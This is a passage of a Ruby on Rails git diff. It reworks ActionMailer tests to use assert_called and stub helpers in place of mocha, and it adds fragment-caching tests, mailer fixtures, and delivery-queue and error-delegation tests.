the action should deliver the mail object" do - BaseMailer.expects(:deliver_mail).once - mail = BaseMailer.welcome.deliver_now - assert_equal 'The first email on new API!', mail.subject + assert_called(BaseMailer, :deliver_mail) do + mail = BaseMailer.welcome.deliver_now + assert_equal 'The first email on new API!', mail.subject + end end test "calling deliver on the action should increment the deliveries collection if using the test mailer" do @@ -517,9 +525,11 @@ class BaseTest < ActiveSupport::TestCase test "calling deliver, ActionMailer should yield back to mail to let it call :do_delivery on itself" do mail = Mail::Message.new - mail.expects(:do_delivery).once - BaseMailer.expects(:welcome).returns(mail) - BaseMailer.welcome.deliver + assert_called(mail, :do_delivery) do + assert_called(BaseMailer, :welcome, returns: mail) do + BaseMailer.welcome.deliver + end + end end # Rendering @@ -607,8 +617,9 @@ class BaseTest < ActiveSupport::TestCase mail_side_effects do ActionMailer::Base.register_observer(MyObserver) mail = BaseMailer.welcome - MyObserver.expects(:delivered_email).with(mail) - mail.deliver_now + assert_called_with(MyObserver, :delivered_email, [mail]) do + mail.deliver_now + end end end @@ -616,8 +627,9 @@ class BaseTest < ActiveSupport::TestCase mail_side_effects do ActionMailer::Base.register_observer("BaseTest::MyObserver") mail = BaseMailer.welcome - MyObserver.expects(:delivered_email).with(mail) - mail.deliver_now + assert_called_with(MyObserver, :delivered_email, [mail]) do + mail.deliver_now + end end end @@ -625,8 +637,9 @@ class BaseTest < ActiveSupport::TestCase mail_side_effects do ActionMailer::Base.register_observer(:"base_test/my_observer") mail = BaseMailer.welcome - MyObserver.expects(:delivered_email).with(mail) - mail.deliver_now + assert_called_with(MyObserver, :delivered_email, [mail]) do + mail.deliver_now + end end end @@ -634,9 +647,11 @@ class BaseTest < ActiveSupport::TestCase mail_side_effects do ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver) mail = BaseMailer.welcome - MyObserver.expects(:delivered_email).with(mail) - MySecondObserver.expects(:delivered_email).with(mail) - mail.deliver_now + assert_called_with(MyObserver, :delivered_email, [mail]) do + assert_called_with(MySecondObserver, :delivered_email, [mail]) do + mail.deliver_now + end + end end end @@ -654,8 +669,9 @@ class BaseTest < ActiveSupport::TestCase mail_side_effects do ActionMailer::Base.register_interceptor(MyInterceptor) mail = BaseMailer.welcome - MyInterceptor.expects(:delivering_email).with(mail) - mail.deliver_now + assert_called_with(MyInterceptor, :delivering_email, [mail]) do + mail.deliver_now + end end end @@ -663,8 +679,9 @@ class BaseTest < ActiveSupport::TestCase mail_side_effects do ActionMailer::Base.register_interceptor("BaseTest::MyInterceptor") mail = BaseMailer.welcome - MyInterceptor.expects(:delivering_email).with(mail) - mail.deliver_now + assert_called_with(MyInterceptor, :delivering_email, [mail]) do + mail.deliver_now + end end end @@ -672,8 +689,9 @@ class BaseTest < ActiveSupport::TestCase mail_side_effects do ActionMailer::Base.register_interceptor(:"base_test/my_interceptor") mail = BaseMailer.welcome - MyInterceptor.expects(:delivering_email).with(mail) - mail.deliver_now + assert_called_with(MyInterceptor, :delivering_email, [mail]) do + mail.deliver_now + end end end @@ -681,18 +699,21 @@ class BaseTest < ActiveSupport::TestCase mail_side_effects do ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor) mail = BaseMailer.welcome - MyInterceptor.expects(:delivering_email).with(mail) - MySecondInterceptor.expects(:delivering_email).with(mail) - mail.deliver_now + assert_called_with(MyInterceptor, :delivering_email, [mail]) do + assert_called_with(MySecondInterceptor, :delivering_email, [mail]) do + mail.deliver_now + end + end end end test "being able to put proc's into the defaults hash and they get evaluated on mail sending" do mail1 = ProcMailer.welcome['X-Proc-Method'] yesterday = 1.day.ago - Time.stubs(:now).returns(yesterday) - mail2 = ProcMailer.welcome['X-Proc-Method'] - assert(mail1.to_s.to_i > mail2.to_s.to_i) + Time.stub(:now, yesterday) do + mail2 = ProcMailer.welcome['X-Proc-Method'] + assert(mail1.to_s.to_i > mail2.to_s.to_i) + end end test 'default values which have to_proc (e.g. symbols) should not be considered procs' do @@ -877,33 +898,50 @@ class BasePreviewInterceptorsTest < ActiveSupport::TestCase test "you can register a preview interceptor to the mail object that gets passed the mail object before previewing" do ActionMailer::Base.register_preview_interceptor(MyInterceptor) mail = BaseMailer.welcome - BaseMailerPreview.any_instance.stubs(:welcome).returns(mail) - MyInterceptor.expects(:previewing_email).with(mail) - BaseMailerPreview.call(:welcome) + stub_any_instance(BaseMailerPreview) do |instance| + instance.stub(:welcome, mail) do + assert_called_with(MyInterceptor, :previewing_email, [mail]) do + BaseMailerPreview.call(:welcome) + end + end + end end test "you can register a preview interceptor using its stringified name to the mail object that gets passed the mail object before previewing" do ActionMailer::Base.register_preview_interceptor("BasePreviewInterceptorsTest::MyInterceptor") mail = BaseMailer.welcome - BaseMailerPreview.any_instance.stubs(:welcome).returns(mail) - MyInterceptor.expects(:previewing_email).with(mail) - BaseMailerPreview.call(:welcome) + stub_any_instance(BaseMailerPreview) do |instance| + instance.stub(:welcome, mail) do + assert_called_with(MyInterceptor, :previewing_email, [mail]) do + BaseMailerPreview.call(:welcome) + end + end + end end test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before previewing" do ActionMailer::Base.register_preview_interceptor(:"base_preview_interceptors_test/my_interceptor") mail = BaseMailer.welcome - BaseMailerPreview.any_instance.stubs(:welcome).returns(mail) - MyInterceptor.expects(:previewing_email).with(mail) - BaseMailerPreview.call(:welcome) + stub_any_instance(BaseMailerPreview) do |instance| + instance.stub(:welcome, mail) do + assert_called_with(MyInterceptor, :previewing_email, [mail]) do + BaseMailerPreview.call(:welcome) + end + end + end end test "you can register multiple preview interceptors to the mail object that both get passed the mail object before previewing" do ActionMailer::Base.register_preview_interceptors("BasePreviewInterceptorsTest::MyInterceptor", MySecondInterceptor) mail = BaseMailer.welcome - BaseMailerPreview.any_instance.stubs(:welcome).returns(mail) - MyInterceptor.expects(:previewing_email).with(mail) - MySecondInterceptor.expects(:previewing_email).with(mail) - BaseMailerPreview.call(:welcome) + stub_any_instance(BaseMailerPreview) do |instance| + instance.stub(:welcome, mail) do + assert_called_with(MyInterceptor, :previewing_email, [mail]) do + assert_called_with(MySecondInterceptor, :previewing_email, [mail]) do + BaseMailerPreview.call(:welcome) + end + end + end + end end end diff --git a/actionmailer/test/caching_test.rb b/actionmailer/test/caching_test.rb new file mode 100644 index 0000000000..22e1bdb5f1 --- /dev/null +++ b/actionmailer/test/caching_test.rb @@ -0,0 +1,271 @@ +require 'fileutils' +require 'abstract_unit' +require 'mailers/base_mailer' +require 'mailers/caching_mailer' + +CACHE_DIR = 'test_cache' +# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed +FILE_STORE_PATH = File.join(File.dirname(__FILE__), '/../temp/', CACHE_DIR) + +class FragmentCachingMailer < ActionMailer::Base + abstract! + + def some_action; end +end + +class BaseCachingTest < ActiveSupport::TestCase + def setup + super + @store = ActiveSupport::Cache::MemoryStore.new + @mailer = FragmentCachingMailer.new + @mailer.perform_caching = true + @mailer.cache_store = @store + end + + def test_fragment_cache_key + assert_equal 'views/what a key', @mailer.fragment_cache_key('what a key') + end +end + +class FragmentCachingTest < BaseCachingTest + def test_read_fragment_with_caching_enabled + @store.write('views/name', 'value') + assert_equal 'value', @mailer.read_fragment('name') + end + + def test_read_fragment_with_caching_disabled + @mailer.perform_caching = false + @store.write('views/name', 'value') + assert_nil @mailer.read_fragment('name') + end + + def test_fragment_exist_with_caching_enabled + @store.write('views/name', 'value') + assert @mailer.fragment_exist?('name') + assert !@mailer.fragment_exist?('other_name') + end + + def test_fragment_exist_with_caching_disabled + @mailer.perform_caching = false + @store.write('views/name', 'value') + assert !@mailer.fragment_exist?('name') + assert !@mailer.fragment_exist?('other_name') + end + + def test_write_fragment_with_caching_enabled + assert_nil @store.read('views/name') + assert_equal 'value', @mailer.write_fragment('name', 'value') + assert_equal 'value', @store.read('views/name') + end + + def test_write_fragment_with_caching_disabled + assert_nil @store.read('views/name') + @mailer.perform_caching = false + assert_equal 'value', @mailer.write_fragment('name', 'value') + assert_nil @store.read('views/name') + end + + def test_expire_fragment_with_simple_key + @store.write('views/name', 'value') + @mailer.expire_fragment 'name' + assert_nil @store.read('views/name') + end + + def test_expire_fragment_with_regexp + @store.write('views/name', 'value') + @store.write('views/another_name', 'another_value') + @store.write('views/primalgrasp', 'will not expire ;-)') + + @mailer.expire_fragment(/name/) + + assert_nil @store.read('views/name') + assert_nil @store.read('views/another_name') + assert_equal 'will not expire ;-)', @store.read('views/primalgrasp') + end + + def test_fragment_for + @store.write('views/expensive', 'fragment content') + fragment_computed = false + + view_context = @mailer.view_context + + buffer = 'generated till now -> '.html_safe + buffer << view_context.send(:fragment_for, 'expensive') { fragment_computed = true } + + assert !fragment_computed + assert_equal 'generated till now -> fragment content', buffer + end + + def test_html_safety + assert_nil @store.read('views/name') + content = 'value'.html_safe + assert_equal content, @mailer.write_fragment('name', content) + + cached = @store.read('views/name') + assert_equal content, cached + assert_equal String, cached.class + + html_safe = @mailer.read_fragment('name') + assert_equal content, html_safe + assert html_safe.html_safe? + end +end + +class FunctionalFragmentCachingTest < BaseCachingTest + def setup + super + @store = ActiveSupport::Cache::MemoryStore.new + @mailer = CachingMailer.new + @mailer.perform_caching = true + @mailer.cache_store = @store + end + + def test_fragment_caching + email = @mailer.fragment_cache + expected_body = "\"Welcome\"" + + assert_match expected_body, email.body.encoded + assert_match expected_body, + @store.read("views/caching/#{template_digest("caching_mailer/fragment_cache")}") + end + + def test_fragment_caching_in_partials + email = @mailer.fragment_cache_in_partials + expected_body = 'Old fragment caching in a partial' + assert_match(expected_body, email.body.encoded) + + assert_match(expected_body, + @store.read("views/caching/#{template_digest("caching_mailer/_partial")}")) + end + + def test_skip_fragment_cache_digesting + email = @mailer.skip_fragment_cache_digesting + expected_body = "No Digest" + + assert_match expected_body, email.body.encoded + assert_match expected_body, @store.read("views/no_digest") + end + + def test_fragment_caching_options + time = Time.now + email = @mailer.fragment_caching_options + expected_body = "No Digest" + + assert_match expected_body, email.body.encoded + Time.stub(:now, time + 11) do + assert_nil @store.read("views/no_digest") + end + end + + def test_multipart_fragment_caching + email = @mailer.multipart_cache + + expected_text_body = "\"Welcome text\"" + expected_html_body = "\"Welcome html\"" + encoded_body = email.body.encoded + assert_match expected_text_body, encoded_body + assert_match expected_html_body, encoded_body + assert_match expected_text_body, + @store.read("views/text_caching") + assert_match expected_html_body, + @store.read("views/html_caching") + end + + def test_fragment_cache_instrumentation + payload = nil + + subscriber = proc do |*args| + event = ActiveSupport::Notifications::Event.new(*args) + payload = event.payload + end + + ActiveSupport::Notifications.subscribed(subscriber, "read_fragment.action_mailer") do + @mailer.fragment_cache + end + + assert_equal "caching_mailer", payload[:mailer] + assert_equal "views/caching/#{template_digest("caching_mailer/fragment_cache")}", payload[:key] + end + + private + + def template_digest(name) + ActionView::Digestor.digest(name: name, finder: @mailer.lookup_context) + end +end + +class CacheHelperOutputBufferTest < BaseCachingTest + + class MockController + def read_fragment(name, options) + return false + end + + def write_fragment(name, fragment, options) + fragment + end + end + + def setup + super + end + + def test_output_buffer + output_buffer = ActionView::OutputBuffer.new + controller = MockController.new + cache_helper = Class.new do + def self.controller; end; + def self.output_buffer; end; + def self.output_buffer=; end; + end + cache_helper.extend(ActionView::Helpers::CacheHelper) + + cache_helper.stub :controller, controller do + cache_helper.stub :output_buffer, output_buffer do + assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do + assert_nothing_raised do + cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil } + end + end + end + end + end + + def test_safe_buffer + output_buffer = ActiveSupport::SafeBuffer.new + controller = MockController.new + cache_helper = Class.new do + def self.controller; end; + def self.output_buffer; end; + def self.output_buffer=; end; + end + cache_helper.extend(ActionView::Helpers::CacheHelper) + + cache_helper.stub :controller, controller do + cache_helper.stub :output_buffer, output_buffer do + assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do + assert_nothing_raised do + cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil } + end + end + end + end + end +end + +class ViewCacheDependencyTest < BaseCachingTest + class NoDependenciesMailer < ActionMailer::Base + end + class HasDependenciesMailer < ActionMailer::Base + view_cache_dependency { "trombone" } + view_cache_dependency { "flute" } + end + + def test_view_cache_dependencies_are_empty_by_default + assert NoDependenciesMailer.new.view_cache_dependencies.empty? + end + + def test_view_cache_dependencies_are_listed_in_declaration_order + assert_equal %w(trombone flute), HasDependenciesMailer.new.view_cache_dependencies + end +end diff --git a/actionmailer/test/delivery_methods_test.rb b/actionmailer/test/delivery_methods_test.rb index 2e4e019bf7..bcbd036f26 100644 --- a/actionmailer/test/delivery_methods_test.rb +++ b/actionmailer/test/delivery_methods_test.rb @@ -1,5 +1,4 @@ require 'abstract_unit' -require 'mail' class MyCustomDelivery end @@ -32,15 +31,15 @@ class DefaultsDeliveryMethodsTest < ActiveSupport::TestCase assert_equal settings, ActionMailer::Base.smtp_settings end - test "default file delivery settings" do - settings = {location: "#{Dir.tmpdir}/mails"} + test "default file delivery settings (with Rails.root)" do + settings = {location: "#{Rails.root}/tmp/mails"} assert_equal settings, ActionMailer::Base.file_settings end test "default sendmail settings" do settings = { location: '/usr/sbin/sendmail', - arguments: '-i -t' + arguments: '-i' } assert_equal settings, ActionMailer::Base.sendmail_settings end @@ -103,16 +102,21 @@ class MailDeliveryTest < ActiveSupport::TestCase end test "ActionMailer should be told when Mail gets delivered" do - DeliveryMailer.expects(:deliver_mail).once - DeliveryMailer.welcome.deliver_now + DeliveryMailer.delivery_method = :test + assert_called(DeliveryMailer, :deliver_mail) do + DeliveryMailer.welcome.deliver_now + end end test "delivery method can be customized per instance" do - Mail::SMTP.any_instance.expects(:deliver!) - email = DeliveryMailer.welcome.deliver_now - assert_instance_of Mail::SMTP, email.delivery_method - email = DeliveryMailer.welcome(delivery_method: :test).deliver_now - assert_instance_of Mail::TestMailer, email.delivery_method + stub_any_instance(Mail::SMTP, instance: Mail::SMTP.new({})) do |instance| + assert_called(instance, :deliver!) do + email = DeliveryMailer.welcome.deliver_now + assert_instance_of Mail::SMTP, email.delivery_method + email = DeliveryMailer.welcome(delivery_method: :test).deliver_now + assert_instance_of Mail::TestMailer, email.delivery_method + end + end end test "delivery method can be customized in subclasses not changing the parent" do @@ -161,24 +165,29 @@ class MailDeliveryTest < ActiveSupport::TestCase test "non registered delivery methods raises errors" do DeliveryMailer.delivery_method = :unknown - assert_raise RuntimeError do + error = assert_raise RuntimeError do DeliveryMailer.welcome.deliver_now end + assert_equal "Invalid delivery method :unknown", error.message end test "undefined delivery methods raises errors" do DeliveryMailer.delivery_method = nil - assert_raise RuntimeError do + error = assert_raise RuntimeError do DeliveryMailer.welcome.deliver_now end + assert_equal "Delivery method cannot be nil", error.message end test "does not perform deliveries if requested" do old_perform_deliveries = DeliveryMailer.perform_deliveries begin DeliveryMailer.perform_deliveries = false - Mail::Message.any_instance.expects(:deliver!).never - DeliveryMailer.welcome.deliver_now + stub_any_instance(Mail::Message) do |instance| + assert_not_called(instance, :deliver!) do + DeliveryMailer.welcome.deliver_now + end + end ensure DeliveryMailer.perform_deliveries = old_perform_deliveries end diff --git a/actionmailer/test/fixtures/async_mailer/welcome.erb b/actionmailer/test/fixtures/async_mailer/welcome.erb deleted file mode 100644 index 01f3f00c63..0000000000 --- a/actionmailer/test/fixtures/async_mailer/welcome.erb +++ /dev/null @@ -1 +0,0 @@ -Welcome
\ No newline at end of file diff --git a/actionmailer/test/fixtures/caching_mailer/_partial.html.erb b/actionmailer/test/fixtures/caching_mailer/_partial.html.erb new file mode 100644 index 0000000000..8e965f52b4 --- /dev/null +++ b/actionmailer/test/fixtures/caching_mailer/_partial.html.erb @@ -0,0 +1,3 @@ +<% cache :caching do %> + Old fragment caching in a partial +<% end %> diff --git a/actionmailer/test/fixtures/caching_mailer/fragment_cache.html.erb b/actionmailer/test/fixtures/caching_mailer/fragment_cache.html.erb new file mode 100644 index 0000000000..90189627da --- /dev/null +++ b/actionmailer/test/fixtures/caching_mailer/fragment_cache.html.erb @@ -0,0 +1,3 @@ +<% cache :caching do %> +"Welcome" +<% end %> diff --git a/actionmailer/test/fixtures/caching_mailer/fragment_cache_in_partials.html.erb b/actionmailer/test/fixtures/caching_mailer/fragment_cache_in_partials.html.erb new file mode 100644 index 0000000000..2957d083e8 --- /dev/null +++ b/actionmailer/test/fixtures/caching_mailer/fragment_cache_in_partials.html.erb @@ -0,0 +1 @@ +<%= render "partial" %> diff --git a/actionmailer/test/fixtures/caching_mailer/fragment_caching_options.html.erb b/actionmailer/test/fixtures/caching_mailer/fragment_caching_options.html.erb new file mode 100644 index 0000000000..0541ac321b --- /dev/null +++ b/actionmailer/test/fixtures/caching_mailer/fragment_caching_options.html.erb @@ -0,0 +1,3 @@ +<%= cache :no_digest, skip_digest: true, expires_in: 0 do %> + No Digest +<% end %> diff --git a/actionmailer/test/fixtures/caching_mailer/multipart_cache.html.erb b/actionmailer/test/fixtures/caching_mailer/multipart_cache.html.erb new file mode 100644 index 0000000000..0d26baa2d7 --- /dev/null +++ b/actionmailer/test/fixtures/caching_mailer/multipart_cache.html.erb @@ -0,0 +1,3 @@ +<% cache :html_caching, skip_digest: true do %> + "Welcome html" +<% end %> diff --git a/actionmailer/test/fixtures/caching_mailer/multipart_cache.text.erb b/actionmailer/test/fixtures/caching_mailer/multipart_cache.text.erb new file mode 100644 index 0000000000..ef97326e03 --- /dev/null +++ b/actionmailer/test/fixtures/caching_mailer/multipart_cache.text.erb @@ -0,0 +1,3 @@ +<% cache :text_caching, skip_digest: true do %> + "Welcome text" +<% end %> diff --git a/actionmailer/test/fixtures/caching_mailer/skip_fragment_cache_digesting.html.erb b/actionmailer/test/fixtures/caching_mailer/skip_fragment_cache_digesting.html.erb new file mode 100644 index 0000000000..0d52429a81 --- /dev/null +++ b/actionmailer/test/fixtures/caching_mailer/skip_fragment_cache_digesting.html.erb @@ -0,0 +1,3 @@ +<%= cache :no_digest, skip_digest: true do %> + No Digest +<% end %> diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb index 010e44d045..50c4b74eb8 100644 --- a/actionmailer/test/i18n_with_controller_test.rb +++ b/actionmailer/test/i18n_with_controller_test.rb @@ -25,7 +25,9 @@ end class ActionMailerI18nWithControllerTest < ActionDispatch::IntegrationTest Routes = ActionDispatch::Routing::RouteSet.new Routes.draw do - get ':controller(/:action(/:id))' + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + end end class RoutedRackApp @@ -52,10 +54,15 @@ class ActionMailerI18nWithControllerTest < ActionDispatch::IntegrationTest end def test_send_mail - Mail::SMTP.any_instance.expects(:deliver!) - with_translation 'de', email_subject: '[Anmeldung] Willkommen' do - get '/test/send_mail' - assert_equal "Mail sent - Subject: [Anmeldung] Willkommen", @response.body + stub_any_instance(Mail::SMTP, instance: Mail::SMTP.new({})) do |instance| + assert_called(instance, :deliver!) do + with_translation 'de', email_subject: '[Anmeldung] Willkommen' do + ActiveSupport::Deprecation.silence do + get '/test/send_mail' + end + assert_equal "Mail sent - Subject: [Anmeldung] Willkommen", @response.body + end + end end end diff --git a/actionmailer/test/mail_helper_test.rb b/actionmailer/test/mail_helper_test.rb index 24ccaab8df..ff6b25b0c7 100644 --- a/actionmailer/test/mail_helper_test.rb +++ b/actionmailer/test/mail_helper_test.rb @@ -59,6 +59,12 @@ The second end end + def use_cache + mail_with_defaults do |format| + format.html { render(inline: "<% cache(:foo) do %>Greetings from a cache helper block<% end %>") } + end + end + protected def mail_with_defaults(&block) @@ -107,5 +113,11 @@ class MailerHelperTest < ActionMailer::TestCase TEXT assert_equal expected.gsub("\n", "\r\n"), mail.body.encoded end -end + def test_use_cache + assert_nothing_raised do + mail = HelperMailer.use_cache + assert_equal "Greetings from a cache helper block", mail.body.encoded + end + end +end diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb index bd991e209e..8c2225ce60 100644 --- a/actionmailer/test/mailers/base_mailer.rb +++ b/actionmailer/test/mailers/base_mailer.rb @@ -80,6 +80,12 @@ class BaseMailer < ActionMailer::Base end end + def explicit_without_specifying_format_with_any(hash = {}) + mail(hash) do |format| + format.any + end + end + def explicit_multipart_with_options(include_html = false) mail do |format| format.text(content_transfer_encoding: "base64"){ render "welcome" } diff --git a/actionmailer/test/mailers/caching_mailer.rb b/actionmailer/test/mailers/caching_mailer.rb new file mode 100644 index 0000000000..92d3cff7c9 --- /dev/null +++ b/actionmailer/test/mailers/caching_mailer.rb @@ -0,0 +1,23 @@ +class CachingMailer < ActionMailer::Base + self.mailer_name = "caching_mailer" + + def fragment_cache + mail(subject: "welcome", template_name: "fragment_cache") + end + + def fragment_cache_in_partials + mail(subject: "welcome", template_name: "fragment_cache_in_partials") + end + + def skip_fragment_cache_digesting + mail(subject: "welcome", template_name: "skip_fragment_cache_digesting") + end + + def fragment_caching_options + mail(subject: "welcome", template_name: "fragment_caching_options") + end + + def multipart_cache + mail(subject: "welcome", template_name: "multipart_cache") + end +end diff --git a/actionmailer/test/mailers/delayed_mailer.rb b/actionmailer/test/mailers/delayed_mailer.rb index 62d4baa434..e6211ef028 100644 --- a/actionmailer/test/mailers/delayed_mailer.rb +++ b/actionmailer/test/mailers/delayed_mailer.rb @@ -1,6 +1,26 @@ +require 'active_job/arguments' + +class DelayedMailerError < StandardError; end + class DelayedMailer < ActionMailer::Base + cattr_accessor :last_error + cattr_accessor :last_rescue_from_instance + + rescue_from DelayedMailerError do |error| + @@last_error = error + @@last_rescue_from_instance = self + end + + rescue_from ActiveJob::DeserializationError do |error| + @@last_error = error + @@last_rescue_from_instance = self + end def test_message(*) mail(from: 'test-sender@test.com', to: 'test-receiver@test.com', subject: 'Test Subject', body: 'Test Body') end + + def test_raise(klass_name) + raise klass_name.constantize, 'boom' + end end diff --git a/actionmailer/test/message_delivery_test.rb b/actionmailer/test/message_delivery_test.rb index e4dd269494..aaed94d519 100644 --- a/actionmailer/test/message_delivery_test.rb +++ b/actionmailer/test/message_delivery_test.rb @@ -1,8 +1,6 @@ require 'abstract_unit' require 'active_job' -require 'minitest/mock' require 'mailers/delayed_mailer' -require 'active_support/core_ext/numeric/time' class MessageDeliveryTest < ActiveSupport::TestCase include ActiveJob::TestHelper @@ -10,17 +8,27 @@ class MessageDeliveryTest < ActiveSupport::TestCase setup do @previous_logger = ActiveJob::Base.logger @previous_delivery_method = ActionMailer::Base.delivery_method + @previous_deliver_later_queue_name = ActionMailer::Base.deliver_later_queue_name + ActionMailer::Base.deliver_later_queue_name = :test_queue ActionMailer::Base.delivery_method = :test ActiveJob::Base.logger = Logger.new(nil) - @mail = DelayedMailer.test_message(1, 2, 3) ActionMailer::Base.deliveries.clear ActiveJob::Base.queue_adapter.perform_enqueued_at_jobs = true ActiveJob::Base.queue_adapter.perform_enqueued_jobs = true + + DelayedMailer.last_error = nil + DelayedMailer.last_rescue_from_instance = nil + + @mail = DelayedMailer.test_message(1, 2, 3) end teardown do ActiveJob::Base.logger = @previous_logger ActionMailer::Base.delivery_method = @previous_delivery_method + ActionMailer::Base.deliver_later_queue_name = @previous_deliver_later_queue_name + + DelayedMailer.last_error = nil + DelayedMailer.last_rescue_from_instance = nil end test 'should have a message' do @@ -81,4 +89,65 @@ class MessageDeliveryTest < ActiveSupport::TestCase end end + test 'should enqueue the job on the correct queue' do + assert_performed_with(job: ActionMailer::DeliveryJob, args: ['DelayedMailer', 'test_message', 'deliver_now', 1, 2, 3], queue: "test_queue") do + @mail.deliver_later + end + end + + test 'can override the queue when enqueuing mail' do + assert_performed_with(job: ActionMailer::DeliveryJob, args: ['DelayedMailer', 'test_message', 'deliver_now', 1, 2, 3], queue: "another_queue") do + @mail.deliver_later(queue: :another_queue) + end + end + + test 'deliver_later after accessing the message is disallowed' do + @mail.message # Load the message, which calls the mailer method. + + assert_raise RuntimeError do + @mail.deliver_later + end + end + + test 'job delegates error handling to mailer' do + # Superclass not rescued by mailer's rescue_from RuntimeError + message = DelayedMailer.test_raise('StandardError') + assert_raise(StandardError) { message.deliver_later } + assert_nil DelayedMailer.last_error + assert_nil DelayedMailer.last_rescue_from_instance + + # Rescued by mailer's rescue_from RuntimeError + message = DelayedMailer.test_raise('DelayedMailerError') + assert_nothing_raised { message.deliver_later } + assert_equal 'boom', DelayedMailer.last_error.message + assert_kind_of DelayedMailer, DelayedMailer.last_rescue_from_instance + end + + class DeserializationErrorFixture + include GlobalID::Identification + + def self.find(id) + raise 'boom, missing find' + end + + attr_reader :id + def initialize(id = 1) + @id = id + end + + def to_global_id(options = {}) + super app: 'foo' + end + end + + test 'job delegates deserialization errors to mailer class' do + # Inject an argument that can't be deserialized. + message = DelayedMailer.test_message(DeserializationErrorFixture.new) + + # DeserializationError is raised, rescued, and delegated to the handler + # on the mailer class. + assert_nothing_raised { message.deliver_later } + assert_equal DelayedMailer, DelayedMailer.last_rescue_from_instance + assert_equal 'Error while trying to deserialize arguments: boom, missing find', DelayedMailer.last_error.message + end end diff --git a/actionmailer/test/test_case_test.rb b/actionmailer/test/test_case_test.rb index 86fd37bea6..5d8d3c3b36 100644 --- a/actionmailer/test/test_case_test.rb +++ b/actionmailer/test/test_case_test.rb @@ -3,6 +3,44 @@ require 'abstract_unit' class TestTestMailer < ActionMailer::Base end +class ClearTestDeliveriesMixinTest < ActiveSupport::TestCase + include ActionMailer::TestCase::ClearTestDeliveries + + def before_setup + ActionMailer::Base.delivery_method, @original_delivery_method = :test, ActionMailer::Base.delivery_method + ActionMailer::Base.deliveries << 'better clear me, setup' + super + end + + def after_teardown + super + assert_equal [], ActionMailer::Base.deliveries + ActionMailer::Base.delivery_method = @original_delivery_method + end + + def test_deliveries_are_cleared_on_setup_and_teardown + assert_equal [], ActionMailer::Base.deliveries + ActionMailer::Base.deliveries << 'better clear me, teardown' + end +end + +class MailerDeliveriesClearingTest < ActionMailer::TestCase + def before_setup + ActionMailer::Base.deliveries << 'better clear me, setup' + super + end + + def after_teardown + super + assert_equal [], ActionMailer::Base.deliveries + end + + def test_deliveries_are_cleared_on_setup_and_teardown + assert_equal [], ActionMailer::Base.deliveries + ActionMailer::Base.deliveries << 'better clear me, teardown' + end +end + class CrazyNameMailerTest < ActionMailer::TestCase tests TestTestMailer diff --git a/actionmailer/test/test_helper_test.rb b/actionmailer/test/test_helper_test.rb index 089933e245..0a4bc75d3e 100644 --- a/actionmailer/test/test_helper_test.rb +++ b/actionmailer/test/test_helper_test.rb @@ -112,6 +112,17 @@ class TestHelperMailerTest < ActionMailer::TestCase assert_match(/1 .* but 2/, error.message) end + def test_assert_emails_message + TestHelperMailer.test.deliver_now + error = assert_raise ActiveSupport::TestCase::Assertion do + assert_emails 2 do + TestHelperMailer.test.deliver_now + end + end + assert_match "Expected: 2", error.message + assert_match "Actual: 1", error.message + end + def test_assert_no_emails_failure error = assert_raise ActiveSupport::TestCase::Assertion do assert_no_emails do diff --git a/actionmailer/test/url_test.rb b/actionmailer/test/url_test.rb index 7928fe9542..70bd05055f 100644 --- a/actionmailer/test/url_test.rb +++ b/actionmailer/test/url_test.rb @@ -79,9 +79,11 @@ class ActionMailerUrlTest < ActionMailer::TestCase UrlTestMailer.delivery_method = :test AppRoutes.draw do - get ':controller(/:action(/:id))' - get '/welcome' => 'foo#bar', as: 'welcome' - get '/dummy_model' => 'foo#baz', as: 'dummy_model' + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + get '/welcome' => 'foo#bar', as: 'welcome' + get '/dummy_model' => 'foo#baz', as: 'dummy_model' + end end # string @@ -108,8 +110,10 @@ class ActionMailerUrlTest < ActionMailer::TestCase UrlTestMailer.delivery_method = :test AppRoutes.draw do - get ':controller(/:action(/:id))' - get '/welcome' => "foo#bar", as: "welcome" + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))' + get '/welcome' => "foo#bar", as: "welcome" + end end expected = new_mail diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md index 700a446af6..be911b147c 100644 --- a/actionpack/CHANGELOG.md +++ b/actionpack/CHANGELOG.md @@ -1,282 +1,2 @@ -* Drop request class from RouteSet constructor. - - If you would like to use a custom request class, please subclass and implement - the `request_class` method. - *tenderlove@ruby-lang.org* - -* Fallback to `ENV['RAILS_RELATIVE_URL_ROOT']` in `url_for`. - - Fixed an issue where the `RAILS_RELATIVE_URL_ROOT` environment variable is not - prepended to the path when `url_for` is called. If `SCRIPT_NAME` (used by Rack) - is set, it takes precedence. - - Fixes #5122. - - *Yasyf Mohamedali* - -* Partitioning of routes is now done when the routes are being drawn. This - helps to decrease the time spent filtering the routes during the first request. - - *Guo Xiang Tan* - -* Fix regression in functional tests. Responses should have default headers - assigned. - - See #18423. - - *Jeremy Kemper*, *Yves Senn* - -* Deprecate AbstractController#skip_action_callback in favor of individual skip_callback methods - (which can be made to raise an error if no callback was removed). - - *Iain Beeston* - -* Alias the `ActionDispatch::Request#uuid` method to `ActionDispatch::Request#request_id`. - Due to implementation, `config.log_tags = [:request_id]` also works in substitute - for `config.log_tags = [:uuid]`. - - *David Ilizarov* - -* Change filter on /rails/info/routes to use an actual path regexp from rails - and not approximate javascript version. Oniguruma supports much more - extensive list of features than javascript regexp engine. - - Fixes #18402. - - *Ravil Bayramgalin* - -* Non-string authenticity tokens do not raise NoMethodError when decoding - the masked token. - - *Ville Lautanala* - -* Add `http_cache_forever` to Action Controller, so we can cache a response - that never gets expired. - - *arthurnn* - -* `ActionController#translate` supports symbols as shortcuts. - When shortcut is given it also lookups without action name. - - *Max Melentiev* - -* Expand `ActionController::ConditionalGet#fresh_when` and `stale?` to also - accept a collection of records as the first argument, so that the - following code can be 